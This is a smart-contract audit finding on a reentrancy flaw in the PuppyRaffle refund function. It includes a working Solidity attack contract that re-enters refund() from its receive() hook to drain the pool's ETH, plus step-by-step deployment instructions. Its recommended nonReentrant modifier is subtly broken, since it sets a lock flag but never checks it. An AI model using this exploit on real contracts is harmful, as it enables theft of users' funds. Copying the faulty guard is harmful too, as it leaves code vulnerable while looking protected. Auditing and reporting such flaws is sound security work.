Summary
refund function in the PuppyRaffle contract lacks of CEI (Checks, Effects and Interactions) pattern, which will make an exploiter take out all the eth.
Vulnerability Details
In refund function, player index is being set to address (0), after sending eth to him. Which will benefit the user to call it recursively, to get as much as eth possible till this value updates.
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
payable(msg.sender).sendValue(entranceFee);
@> players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
POC
create an attack contract as follows -
pragma solidity 0.8.19;
interface ILotteryContract {
function refund(uint256 index) external;
function getActivePlayerIndex(address player) external view returns (uint256);
}
contract AttackContract {
error OnlyOwnerAllowed();
error ETHTransferFailed();
address private immutable owner;
ILotteryContract private immutable targetContract;
constructor (address _target){
targetContract = ILotteryContract (_target);
owner = msg.sender;
}
function Attack() public {
uint256 index = targetContract.getActivePlayerIndex(address(this));
targetContract.refund(index);
}
receive () external payable {
if( address(targetContract).balance >= msg.value){
Attack();
}
}
function claim()external{
if(msg.sender != owner){
revert OnlyOwnerAllowed();
}
(bool success,) = payable(msg.sender).call{value: address(this).balance}("");
if(!success) {
revert ETHTransferFailed();
}
}
}
Deploy the contract and enter this contract address while calling enterRaffle on lottery contract.
Once lottery contract has enough funds accumulated, call Attack function on Attacker contract. This will take out most of the eth.
Impact
All ETH of pool will be drained which leads to user dissatisfaction. Users funds will be lost.
Tools Used
Manual Review
Recommendations
Follow CEI or Use Re-entrancy Guard for better safety. Here are example of both.
CEI Pattern
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
emit RaffleRefunded(playerAddress);
}
Using non Reentrant Modifier
bool locked;
modifier nonReentrant () {
locked = true;
_;
locked = false;
}
function refund (uint256 playerIndex) public nonReentrant{
}
